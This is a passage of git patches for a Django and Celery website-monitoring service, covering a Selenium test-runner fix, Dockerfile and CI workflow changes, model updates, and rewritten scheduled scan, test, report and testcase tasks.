+                    print(f'value -> {step["assertion"]["value"]}')
 
                     # assert text
                     if elementText != step["assertion"]["value"]:
@@ -451,18 +520,22 @@ def run(self) -> None:
 
                 try:
                     print(f'asserting that element -> {step["assertion"]["element"]} exists')
-                    # using puppeteer, find elememt and assert it exists
-                    selector = self.format_element(step["action"]["element"])
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    # find elememt and assert it exists
+                    selector = self.format_element(step["action"]["element"]["selector"])
+                    xpath = self.format_element(step["action"]["element"]["xpath"])
+                    element_data = self.get_element(selector, xpath)
+                    element = element_data['element']
+
+                    # checking if element was found
+                    if element_data['failed']:
+                        raise Exception(f'Unable to locate element with the given Selector and xPath')
 
                     # scrolling to element and back down a bit
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
                     self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     self.driver.execute_script("window.scrollBy(0, -100);")
                     
                     # scrolling to element using plain JavaScript
-                    self.driver.execute_script(f'document.querySelector("{selector}").scrollIntoView()')
-                    element = self.driver.find_element(By.CSS_SELECTOR, selector)
+                    self.driver.execute_script("arguments[0].scrollIntoView();", element)
                     image = self.save_screenshot()
 
                 except Exception as e:
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 50c40885..bbaa367b 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -19,7 +19,7 @@
 from ...utils.wordpress import Wordpress as W
 from ...utils.caser import Caser
 from ...utils.crawler import Crawler
-import json, boto3, asyncio, os, requests
+import json, boto3, asyncio, os, requests, uuid
 
 
 
@@ -4119,6 +4119,7 @@ def create_or_update_case(request: object) -> object:
     case_id = request.data.get('case_id')
     steps = request.data.get('steps')
     site_url = request.data.get('site_url')
+    site_id = request.data.get('site_id')
     name = request.data.get('name')
     tags = request.data.get('tags')
     _type = request.data.get('type')
@@ -4145,6 +4146,12 @@ def create_or_update_case(request: object) -> object:
     if site_url:
         if Site.objects.filter(account=account, site_url=site_url).exists():
             site = Site.objects.filter(account=account, site_url=site_url)[0]
+    
+    # get site if site_id passed
+    if site_id:
+        if Site.objects.filter(account=account, id=site_id).exists():
+            site = Site.objects.get(id=site_id)
+            site_url = site.site_url
 
     # get case if checks passed
     if case_id:
@@ -4159,6 +4166,10 @@ def create_or_update_case(request: object) -> object:
             case.name = name
         if tags is not None:
             case.tags = tags
+        if site is not None:
+            case.site = site
+        if site_url is not None:
+            case.site_url = site_url
         # save updates
         case.save()
     
@@ -4193,14 +4204,14 @@ def create_or_update_case(request: object) -> object:
 
 
 
-def save_case_steps(steps: dict, steps_id: str) -> dict:
+def save_case_steps(steps: dict, case_id: str) -> dict:
     """ 
     Helper function that uploads the "steps" data to 
     s3 bucket
 
     Expects: {
         'steps'   : dict, 
-        'step_id' : str
+        'case_id' : str
     }
 
     Returns -> data: {
@@ -4218,19 +4229,24 @@ def save_case_steps(steps: dict, steps_id: str) -> dict:
     )
 
     # saving as json file temporarily
+    steps_id = uuid.uuid4()
     with open(f'{steps_id}.json', 'w') as fp:
         json.dump(steps, fp)
     
     # seting up paths
     steps_file = os.path.join(settings.BASE_DIR, f'{steps_id}.json')
-    remote_path = f'static/cases/steps/{steps_id}.json'
+    remote_path = f'static/cases/{case_id}/{steps_id}.json'
     root_path = settings.AWS_S3_URL_PATH
     steps_url = f'{root_path}/{remote_path}'
 
     # upload to s3
     with open(steps_file, 'rb') as data:
         s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
-            remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+            remote_path, ExtraArgs={
+                'ACL': 'public-read', 
+                'ContentType': 'application/json',
+                'CacheControl': 'max-age=0'
+            }
         )
 
     # remove local copy

From 5e8858aca6481290b6ab163e12f547e2e02910e9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Sep 2024 10:55:56 -0600
Subject: [PATCH 0684/1099] rolling out big new version (v1.2.0)

---
 .github/workflows/dev-deploy.yaml |   1 +
 .github/workflows/k8s-deploy.yaml |   1 +
 Dockerfile                        |  33 +-
 app/api/admin.py                  |   4 +-
 app/api/models.py                 |  42 +-
 app/api/tasks.py                  | 457 ++++++++++++++++----
 app/api/utils/alerts.py           | 279 ++++++++-----
 app/api/utils/autocaser.py        |  14 +-
 app/api/utils/automater.py        |  62 +--
 app/api/utils/caser.py            | 365 +++++++++++++++-
 app/api/utils/lighthouse.py       |   2 +-
 app/api/utils/scanner.py          |   6 +
 app/api/utils/yellowlab.py        |  17 +-
 app/api/v1/billing/services.py    |  52 ++-
 app/api/v1/ops/serializers.py     |  11 +-
 app/api/v1/ops/services.py        | 670 +++++++++++++++++++++++-------
 app/api/v1/ops/urls.py            |   5 +
 app/api/v1/ops/views.py           |  55 +++
 18 files changed, 1641 insertions(+), 435 deletions(-)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index 9de39732..562c84d7 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -17,6 +17,7 @@ jobs:
   build:
     name: Build
     runs-on: ubuntu-latest
+    timeout-minutes: 30
     steps:
     - name: pulling latest dev commit and rebuilding app
       uses: appleboy/ssh-action@v1.0.0
diff --git a/.github/workflows/k8s-deploy.yaml b/.github/workflows/k8s-deploy.yaml
index 11f97e30..aa16f7dc 100644
--- a/.github/workflows/k8s-deploy.yaml
+++ b/.github/workflows/k8s-deploy.yaml
@@ -22,6 +22,7 @@ jobs:
   build:
     # The type of runner that the job will run on.
     runs-on: ubuntu-latest
+    timeout-minutes: 30
     
     # Steps represent a sequence of tasks that will be executed as part of the job
     steps:
diff --git a/Dockerfile b/Dockerfile
index f20fc699..f9d56e33 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,20 +1,27 @@
 # pull main python image
 FROM python:3.12-slim
+
+# setting ENVs and Configs
 ENV PYTHONUNBUFFERED 1
 ENV DEBIAN_FRONTEND noninteractive
+ENV DOCKERIZED yes
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/google-chrome-stable
 
+# adding labels
 LABEL Author="Scanerr" Support="hello@scanerr.io"
 
 # create the app user
-RUN addgroup --system app && adduser --system app 
-
-# installing python3 & pip
-RUN apt-get update && apt-get install -y python3 python3-pip
+RUN addgroup --system app && adduser --system app
 
 # installing system deps
-RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev \ 
-    libfontconfig firefox-esr apt-transport-https software-properties-common
+RUN apt-get update && apt-get install -y postgresql postgresql-client gcc make \
+    gfortran openssl libpq-dev curl libjpeg-dev libglib2.0-0 libsm6 libxrender1 \ 
+    libxext6 libgl1 libfontconfig apt-transport-https software-properties-common \
+    nasm autoconf libtool automake ca-certificates libfreetype6 
+
+# installing firefox-esr
+RUN apt-get update && apt-get install -y firefox-esr
 
 # installing google-chrome-stable
 RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
@@ -36,9 +43,12 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # installing lighthouse & lighthouse-plugin-crux
 RUN npm install -g lighthouse lighthouse-plugin-crux
 
+# installing lodash & yellowlabtools
+RUN npm install -g lodash yellowlabtools
+
 # installing requirements
 COPY ./setup/requirements/requirements.txt /requirements.txt
-RUN python3 -m pip install -r /requirements.txt
+RUN python3.12 -m pip install -r /requirements.txt
 
 # setting working dir
 RUN mkdir /app
@@ -50,8 +60,15 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/firefox
 RUN chown -R app:app /usr/bin/google-chrome-stable
 RUN chown -R app:app /usr/bin/microsoft-edge-stable
+RUN chown -R app:app /usr/local/bin/yellowlabtools
+RUN chown -R app:app /usr/local/bin/lighthouse
+
+# setting user
+USER app
 
 # staring up services
 COPY ./setup/scripts/entrypoint.sh "/entrypoint.sh"
 ENTRYPOINT [ "/entrypoint.sh" ]
 
+
+
diff --git a/app/api/admin.py b/app/api/admin.py
index 850429a0..cb008618 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -164,7 +164,7 @@ class LogAdmin(admin.ModelAdmin):
 
 @admin.register(Schedule)
 class ScheduleAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'time_created', 'status', 'user')
+    list_display = ('__str__', 'time_last_run', 'status', 'user', 'time_created')
 
 
 
@@ -215,7 +215,7 @@ def delete_testcases(self, request, queryset):
 
 @admin.register(Issue)
 class IssueAdmin(admin.ModelAdmin):
-    list_display = ('__str__', 'account', 'time_created', 'read',)
+    list_display = ('__str__', 'account', 'time_created', 'status',)
 
 
 
diff --git a/app/api/models.py b/app/api/models.py
index a99a2f10..d836840b 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -403,7 +403,7 @@ class Test(models.Model):
     post_scan_configs = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.id}__test'
+        return f'{self.id}_test'
 
 
 
@@ -418,6 +418,7 @@ class Case(models.Model):
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    processed = models.BooleanField(default=False, serialize=True)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
 
     def __str__(self):
@@ -440,7 +441,7 @@ class Testcase(models.Model):
     configs = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.case.name}__testcase'
+        return f'{self.case.name}_testcase'
 
 
 
@@ -457,7 +458,7 @@ class Report(models.Model):
     info = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.page.page_url}__report'
+        return f'{self.page.page_url}_report'
 
 
 
@@ -475,39 +476,33 @@ class Issue(models.Model):
     read = models.BooleanField(default=False, serialize=True)
 
     def __str__(self):
-        return f'{self.title if self.title is not None else self.id}__issue'
+        return f'{self.title if self.title is not None else self.id}_issue'
 
 
 
 
 class Schedule(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
-    site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    page = models.ForeignKey(Page, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto')
-    time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
-    task_type = models.CharField(max_length=100, default='test', serialize=True) # report, scan, test, testcase
+    scope = models.CharField(max_length=100, default='account', serialize=True)
+    resources = models.JSONField(serialize=True, null=True, blank=True)
+    automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto')
+    time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
+    time_last_run = models.DateTimeField(null=True, blank=True, serialize=True)
+    task_type = models.CharField(max_length=100, default='test', serialize=True)
     timezone = models.CharField(max_length=100, null=True, blank=True, serialize=True)
     begin_date = models.DateTimeField(default=datetime.now, serialize=True)
     time = models.CharField(max_length=100, null=True, blank=True, serialize=True)
-    frequency = models.CharField(default="monthly", max_length=100, serialize=True) # daily, weekly, monthly,
-    task = models.CharField(max_length=500, null=True, blank=True, serialize=True) # assigning shared task
+    frequency = models.CharField(default="monthly", max_length=100, serialize=True)
+    task = models.CharField(max_length=500, null=True, blank=True, serialize=True)
     crontab_id = models.CharField(max_length=500, null=True, blank=True, serialize=True)
     periodic_task_id = models.CharField(max_length=500, null=True, blank=True, serialize=True)
     status = models.CharField(max_length=100, default='Active', null=True, blank=True, serialize=True)
     extras = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        if self.site is not None:
-            url = self.site.site_url
-            level = 'site'
-        if self.page is not None:
-            url = self.page.site.site_url
-            level = 'page'
-
-        return f'{url}_{self.task_type}_{level}'
+        return f'{self.account.name}_{self.task_type}_{self.scope}'
 
 
 
@@ -535,7 +530,7 @@ class Mask(models.Model):
     mask_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.id}__mask'
+        return f'{self.id}_mask'
 
 
 
@@ -544,7 +539,8 @@ class Process(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # Test, Testcase, Case, Flow, Scan, Crawl
+    type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
+    object_id = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(serialize=True, null=True, blank=True)
     success = models.BooleanField(serialize=True, default=False)
@@ -554,7 +550,7 @@ class Process(models.Model):
     progress = models.FloatField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.id}__process'
+        return f'{self.id}_process'
 
 
 
@@ -570,7 +566,7 @@ class Log(models.Model):
     response_payload = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.status}__{self.request_type}__{self.path}'
+        return f'{self.status}_{self.request_type}_{self.path}'
 
 
 
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 480f703b..ff3e96a8 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -330,40 +330,91 @@ def create_scan(
 def create_scan_bg(self, *args, **kwargs) -> None:
     """ 
     Creates 1 or more `Scans` depending on 
-    the scope (page or site). Used with `Schedules`
+    the scope (page, site or account). Used with `Schedules`
 
     Expects: {
-        'site_id'       : str,
-        'page_id'       : str,
+        'scope'         : str
+        'resources'     : list
+        'account_id'    : str
         'type'          : list,
         'configs'       : dict,
         'tags'          : list,
-        'automation_id' : str
+        'automation_id' : str,
+        'task_id'       : str
     }
 
     Returns -> None
     """
 
     # get data from kwargs
-    site_id = kwargs.get('site_id')
-    page_id = kwargs.get('page_id')
+    scope = kwargs.get('scope')
+    resources = kwargs.get('resources')
+    account_id = kwargs.get('account_id')
     type = kwargs.get('type')
     configs = kwargs.get('configs')
     tags = kwargs.get('tags')
     automation_id = kwargs.get('automation_id')
+    task_id = kwargs.get('task_id')
+
+    # setting defaults
+    pages = []
+    sites = []
+
+    # get account if account_id exists
+    if account_id:
+        account = Account.objects.get(id=account_id)
+        
+    # iterating through resources 
+    # and adding to sites or pages
+    if len(resources) > 0:
+        for item in resources:
+            
+            # adding to pages
+            if item['type'] == 'page':
+                try:
+                    pages.append(
+                        Page.objects.get(id=item['id'])
+                    ) 
+                except Exception as e:
+                    print(e)
+            
+            # adding to sites
+            if item['type'] == 'site':
+                try:
+                    sites.append(
+                        Site.objects.get(id=item['id'])
+                    ) 
+                except Exception as e:
+                    print(e)
+    
+    # grabbing all sites because no 
+    # resources were specified and scope is "account"
+    if len(resources) == 0 and scope == 'account':
+        sites = Site.objects.filter(account=account)
 
-    # building list of pages
-    if site_id is not None:
-        site = Site.objects.get(id=site_id)
-        pages = Page.objects.filter(site=site)
-    if page_id is not None:
-        pages = [Page.objects.get(id=page_id)]
+    # get all pages from existing sites
+    for site in sites:
+        pages += Page.objects.filter(site=site)
 
     # creating scans for each page
     for page in pages:
-
         # check resource 
         if check_and_increment_resource(page.account, 'scans'):
+
+            # updating latest_scan info for page
+            page.info['latest_scan']['id'] = 'placeholder'
+            page.info['latest_scan']['time_created'] = str(timezone.now())
+            page.info['latest_scan']['time_completed'] = None
+            page.info['latest_scan']['score'] = None
+            page.info['latest_scan']['score'] = None
+            page.save()
+
+            # updating latest_scan info for site
+            page.site.info['latest_scan']['id'] = 'placeholder'
+            page.site.info['latest_scan']['time_created'] = str(timezone.now())
+            page.site.info['latest_scan']['time_completed'] = None
+            page.site.save()
+
             create_scan.delay(
                 page_id=page.id,
                 type=type,
@@ -372,6 +423,16 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                 automation_id=automation_id
             )
     
+    # update schedule if task_id is not None
+    if task_id:
+        try:
+            last_run = timezone.now()
+            Schedule.objects.filter(periodic_task_id=task_id).update(
+                time_last_run=last_run
+            )
+        except Exception as e:
+            print(e)
+    
     logger.info('created new Scans')
     return None
 
@@ -490,7 +551,7 @@ def run_test(self, test_id: str, automation_id: str=None) -> None:
     test = T(test=test).run_test()
     if automation_id:
         print('running automation from `task.run_test`')
-        automater(automation_id, test.id)
+        Automater(automation_id, test.id).run_automation()
 
     logger.info('Test completed')
     return None
@@ -586,6 +647,16 @@ def create_test(
             ).exclude(
                 time_completed=None
             ).order_by('-time_completed')[0]
+
+        # check and increment resources
+        if not check_and_increment_resource(page.account, 'scans'):
+            
+            # remove created_test
+            created_test.delete()
+
+            # return None
+            logger.info('no more scans usage available')
+            return None
         
         # create new post_scan
         post_scan = Scan.objects.create(
@@ -595,6 +666,8 @@ def create_test(
             type=type,
             configs=configs,
         )
+
+        # run Scan & Test tasks 
         scan_page_bg.delay(
             scan_id=post_scan.id, 
             test_id=created_test.id,
@@ -631,8 +704,9 @@ def create_test_bg(self, *args, **kwargs) -> None:
     all requested pages.
 
     Expects: {
-        site_id       : str
-        page_id       : str
+        scope         : str
+        resources     : list
+        account_id    : str
         test_id       : str
         type          : list
         configs       : dict
@@ -641,14 +715,16 @@ def create_test_bg(self, *args, **kwargs) -> None:
         pre_scan      : str
         post_scan     : str
         threshold     : float
+        task_id       : str
     }
     
     Returns -> None
     """
     
     # get data
-    site_id = kwargs.get('site_id')
-    page_id = kwargs.get('page_id')
+    scope = kwargs.get('scope')
+    resources = kwargs.get('resources', [])
+    account_id = kwargs.get('account_id')
     test_id = kwargs.get('test_id')
     type = kwargs.get('type')
     configs = kwargs.get('configs')
@@ -657,22 +733,72 @@ def create_test_bg(self, *args, **kwargs) -> None:
     automation_id = kwargs.get('automation_id')
     pre_scan = kwargs.get('pre_scan')
     post_scan = kwargs.get('post_scan')
+    task_id = kwargs.get('task_id')
 
     # create test if none was passed
     if test_id is None:
-        if site_id is not None:
-            site = Site.objects.get(id=site_id)
-            pages = Page.objects.filter(site=site)
-        if page_id is not None:
-            p = Page.objects.get(id=page_id)
-            pages = [p]
-
+        
+        # setting defaults
+        pages = []
+        sites = []
+
+        # get account if account_id exists
+        if account_id:
+            account = Account.objects.get(id=account_id)
+            
+        # iterating through resources 
+        # and adding to sites or pages
+        if len(resources) > 0:
+            for item in resources:
+                
+                # adding to pages
+                if item['type'] == 'page':
+                    try:
+                        pages.append(
+                            Page.objects.get(id=item['id'])
+                        ) 
+                    except Exception as e:
+                        print(e)
+                
+                # adding to sites
+                if item['type'] == 'site':
+                    try:
+                        sites.append(
+                            Site.objects.get(id=item['id'])
+                        ) 
+                    except Exception as e:
+                        print(e)
+        
+        # grabbing all sites because no 
+        # resources were specified and scope is "account"
+        if len(resources) == 0 and scope == 'account':
+            sites = Site.objects.filter(account=account)
+
+        # get all pages from existing sites
+        for site in sites:
+            pages += Page.objects.filter(site=site)
+        
         # create a test for each page
         for page in pages:
-
             # check resource 
             if check_and_increment_resource(page.account, 'tests'):
 
+                # updating latest_test info for page
+                page.info['latest_test']['id'] = 'placeholder'
+                page.info['latest_test']['time_created'] = str(timezone.now())
+                page.info['latest_test']['time_completed'] = None
+                page.info['latest_test']['score'] = None
+                page.info['latest_test']['status'] = 'working'
+                page.save()
+
+                # updating latest_test info for site
+                page.site.info['latest_test']['id'] = 'placeholder'
+                page.site.info['latest_test']['time_created'] = str(timezone.now())
+                page.site.info['latest_test']['time_completed'] = None
+                page.site.info['latest_test']['score'] = None
+                page.site.info['latest_test']['status'] = 'working'
+                page.site.save()
+
                 # create test
                 create_test.delay(
                     page_id=page.id,
@@ -686,7 +812,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
                 )
     
     # get test and run 
-    if test_id is not None:
+    if test_id:
         test = Test.objects.get(id=test_id)
         create_test.delay(
             test_id=test_id,
@@ -700,6 +826,16 @@ def create_test_bg(self, *args, **kwargs) -> None:
             automation_id=automation_id
         )
 
+    # update schedule if task_id is not None
+    if task_id:
+        try:
+            last_run = timezone.now()
+            Schedule.objects.filter(periodic_task_id=task_id).update(
+                time_last_run=last_run
+            )
+        except Exception as e:
+            print(e)
+
     logger.info('Created new Tests')
     return None
 
@@ -725,7 +861,7 @@ def create_report(page_id: str=None, automation_id: str=None) -> None:
     
     # check if report exists
     if Report.objects.filter(page=page).exists():
-        report = Report.objects.filter(site=site).order_by('-time_created')[0]
+        report = Report.objects.filter(page=page).order_by('-time_created')[0]
     
     # create new report obj
     else:
@@ -735,17 +871,18 @@ def create_report(page_id: str=None, automation_id: str=None) -> None:
             "highlight_color": '#ffffff',
         }
         report = Report.objects.create(
-            user=site.user,
+            user=page.user,
             site=page.site,
+            account=page.account,
             page=page,
             info=info,
             type=['lighthouse', 'yellowlab']
         )
     
     # generate report PDF
-    report = R(report=report).generate_report()
+    R(report=report).generate_report()
     if automation_id:
-        automater(automation_id, report.id)
+        Automater(automation_id, str(report.id)).run_automation()
     
     logger.info('Created new report of page')
     return None
@@ -759,25 +896,62 @@ def create_report_bg(*args, **kwargs) -> None:
     Creates new `Reports` for the requested `Pages`
 
     Expects: {
-        'site_id'       : str,
-        'page_id'       : str
+        'scope'         : str,
+        'resources'     : str
+        'account_id'    : str
         'automation_id' : str
+        'task_id'       : str
     }
      
     Returns -> None
     """
 
     # get data
-    site_id = kwargs.get('site_id')
-    page_id = kwargs.get('page_id')
+    scope = kwargs.get('scope')
+    resources = kwargs.get('resources', [])
+    account_id = kwargs.get('account_id')
     automation_id = kwargs.get('automation_id')
+    task_id = kwargs.get('task_id')
 
-    # deciding scope
-    if site_id is not None:
-        site = Site.objects.get(id=site_id)
-        pages = Page.objects.filter(site=site)
-    if page_id is not None:
-        pages = [Page.objects.get(id=page_id)]
+    # setting defaults
+    pages = []
+    sites = []
+
+    # get account if account_id exists
+    if account_id:
+        account = Account.objects.get(id=account_id)
+        
+    # iterating through resources 
+    # and adding to sites or pages
+    if len(resources) > 0:
+        for item in resources:
+            
+            # adding to pages
+            if item['type'] == 'page':
+                try:
+                    pages.append(
+                        Page.objects.get(id=item['id'])
+                    ) 
+                except Exception as e:
+                    print(e)
+            
+            # adding to sites
+            if item['type'] == 'site':
+                try:
+                    sites.append(
+                        Site.objects.get(id=item['id'])
+                    ) 
+                except Exception as e:
+                    print(e)
+    
+    # grabbing all sites because no 
+    # resources were specified and scope is "account"
+    if len(resources) == 0 and scope == 'account':
+        sites = Site.objects.filter(account=account)
+
+    # get all pages from existing sites
+    for site in sites:
+        pages += Page.objects.filter(site=site)
 
     # create reports for each page
     for page in pages:
@@ -786,6 +960,16 @@ def create_report_bg(*args, **kwargs) -> None:
             automation_id=automation_id
         )
     
+    # update schedule if task_id is not None
+    if task_id:
+        try:
+            last_run = timezone.now()
+            Schedule.objects.filter(periodic_task_id=task_id).update(
+                time_last_run=last_run
+            )
+        except Exception as e:
+            print(e)
+    
     logger.info('Created new Reports')
     return None
 
@@ -1056,39 +1240,117 @@ def create_auto_cases_bg(
 
 
 
+@shared_task(bind=True, base=BaseTaskWithRetry)
+def case_pre_run_bg(
+        self, 
+        case_id: str=None,
+        process_id: str=None,
+    ) -> None:
+    """ 
+    Runs
+
+    Expects: {
+        case_id    : str,
+        process_id : str,
+    }
+    
+    Returns -> None
+    """
+
+    # get objects
+    case = Case.objects.get(id=case_id)
+    process = Process.objects.get(id=process_id)
+
+    # init Caser
+    C = Caser(
+        case=case,
+        process=process,
+    )
+
+    # build cases
+    C.pre_run()
+
+    logger.info('Completed Case pre_run')
+    return None
+
+
+
+
 @shared_task
-def create_testcase_bg(
+def run_testcase(
         testcase_id: str=None, 
-        site_id: str=None, 
-        case_id: str=None, 
-        updates: dict=None, 
         automation_id: str=None,
-        configs: dict=settings.CONFIGS
     ) -> None:
+    """
+    Runs a Testcase.
+
+    Expects: {
+        testcase_id   : str, 
+        automation_id : str,
+    }
+    
+    Returns -> None
+    """
+    
+    # get testcase
+    testcase = Testcase.objects.get(id=testcase_id)
+
+    # running testcase
+    testresult = Caser(testcase=testcase).run()
+
+    # run automation if requested
+    if automation_id:
+        Automater(automation_id, str(testcase.id)).run_automation()
+
+    logger.info('Ran Testcase')
+    return None
+
+
+
+
+@shared_task
+def create_testcase_bg(*args, **kwargs) -> None:
     """ 
     Creates and or runs a Testcase.
 
     Expects: {
         testcase_id   : str, 
-        site_id       : str, 
+        resources     : list, 
+        scope         : str, 
+        account_id    : str, 
         case_id       : str, 
-        updates       : dict, 
+        updates       : list, 
         automation_id : str,
-        configs       : dict
+        configs       : dict,
+        task_id       : str
     }
     
     Returns -> None
     """
 
-    # getting testcase
-    if testcase_id != None:
-        testcase = Testcase.objects.get(id=testcase_id)
-        configs = testcase.configs
-    
-    # creating testcase from case
-    else:
+    # get data
+    testcase_id = kwargs.get('testcase_id')
+    case_id = kwargs.get('case_id')
+    account_id = kwargs.get('account_id')
+    resources = kwargs.get('resources', [])
+    scope = kwargs.get('scope')
+    updates = kwargs.get('updates')
+    automation_id = kwargs.get('automation_id')
+    task_id = kwargs.get('task_id')
+    configs = kwargs.get('configs', settings.CONFIGS)
+
+    # settign defaults 
+    case = None
+    steps = None
+    testcases = []
+    sites = []
+
+    # get case
+    if case_id:
         case = Case.objects.get(id=case_id)
-        site = Site.objects.get(id=site_id)
+
+    # update steps
+    if case:
         steps = requests.get(case.steps['url']).json()
         for step in steps:
             if step['action']['type'] != None:
@@ -1103,30 +1365,69 @@ def create_testcase_bg(
                 step['assertion']['exception'] = None
                 step['assertion']['passed'] = None
 
-        # adding updates
-        if updates != None:
-            for update in updates:
-                steps[int(update['index'])]['action']['value'] = update['value']
-
-        # create new testcase
-        testcase = Testcase.objects.create(
-            case = case,
-            case_name = case.name,
-            site = site,
-            user = site.user,
-            account = site.account,
-            configs = configs,
-            steps = steps
-        )
+    # adding updates
+    if steps:
+        for update in updates:
+            steps[int(update['index'])]['action']['value'] = update['value']
 
-    # running testcase
-    testresult = Caser(testcase=testcase).run()
+    # getting testcase
+    if testcase_id:
+        testcases = [Testcase.objects.get(id=testcase_id),]
+    
+    # creating testcase from case
+    if testcase_id is None:
+        
+        # getting all sites in resources
+        for item in resources:
+            if item['type'] == 'site':
+                try:
+                    sites.append(
+                        Site.objects.get(id=item['id'])
+                    )
+                except Exception as e:
+                    print(e)
+        
+        # add all sites in account if scope == 'account'
+        if scope == 'account' and len(resources) == 0:
+            sites = Site.objects.filter(account__id=account_id)
 
-    # run automation if requested
-    if automation_id:
-        automater(automation_id, testcase.id)
+        # iterate through sites
+        for site in sites:
+    
+            # create new testcase
+            _testcase = Testcase.objects.create(
+                case = case,
+                case_name = case.name,
+                site = site,
+                user = site.user,
+                account = site.account,
+                configs = configs,
+                steps = steps
+            )
+
+            # add to list
+            testcases.append(
+                _testcase
+            )
+
+    # iterate through testcases and run
+    for testcase in testcases:
+        run_testcase.delay(
+            testcase_id=str(testcase.id),
+            automation_id=automation_id
+        )
+    
+    # update schedule if task_id is not None
+    if task_id:
+        try:
+            last_run = timezone.now()
+            Schedule.objects.filter(periodic_task_id=task_id).update(
+                time_last_run=last_run
+            )
+        except Exception as e:
+            print(e)
 
-    logger.info('Ran full testcase')
+    logger.info('Created Testcases')
     return None
 
 
diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 1f46d823..8ae34047 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -202,126 +202,187 @@ def create_exp(item: object=None, automation: object=None) -> dict:
     }
     """
 
-    # init exp_list
+    # seting defaults
     exp_list = []
+    exp_str = ''
     
     # loop through automation expressions
     for e in automation.expressions:
 
         # top-level scores and data
         if 'test_score' in e['data_type']:
-            data_type = 'Test Score:\t'+str(round(item.score, 2))+'\n\t'
+            title = 'Test Score'
+            data = str(round(item.score, 2))
+        if 'test_status' in e['data_type']:
+            status = '❌ FAILED'
+            if item.status == 'passed':
+                status = '✅ PASSED'
+            title = 'Test Status'
+            data = status
         elif 'current_health' in e['data_type']:
-            data_type = 'Health:\t'+str((float(item.lighthouse_delta["scores"]["current_average"]) + float(item.yellowlab_delta["scores"]["current_average"])/2))+'\n\t'
+            title = 'Health'
+            data = str(
+                (float(item.lighthouse_delta["scores"]["current_average"]) + 
+                float(item.yellowlab_delta["scores"]["current_average"])) /2
+            )
         elif 'health' in e['data_type']:
-            data_type = 'Health:\t'+str(((float(item.lighthouse["scores"]["average"]) + float(item.yellowlab["scores"]["globalScore"]))/2))+'\n\t'
+            title = 'Health:'
+            data = str(
+                (float(item.lighthouse["scores"]["average"]) + 
+                float(item.yellowlab["scores"]["globalScore"])) /2
+            )
         
         # LH test data
         elif 'current_lighthouse_average' in e['data_type']:
-            data_type = 'Lighthouse Average:\t'+str(item.lighthouse_delta["scores"]["current_average"])+'\n\t'
+            title = 'Lighthouse Average'
+            data = str(item.lighthouse_delta["scores"]["current_average"])
         elif 'seo_delta' in e['data_type']:
-            data_type = 'SEO Delta:\t'+str(item.lighthouse_delta["scores"]["seo_delta"])+'\n\t'
+            title = 'SEO Delta'
+            data = str(item.lighthouse_delta["scores"]["seo_delta"])
         elif 'pwa_delta' in e['data_type']:
-            data_type = 'PWA Delta:\t'+str(item.lighthouse_delta["scores"]["pwa_delta"])+'\n\t'
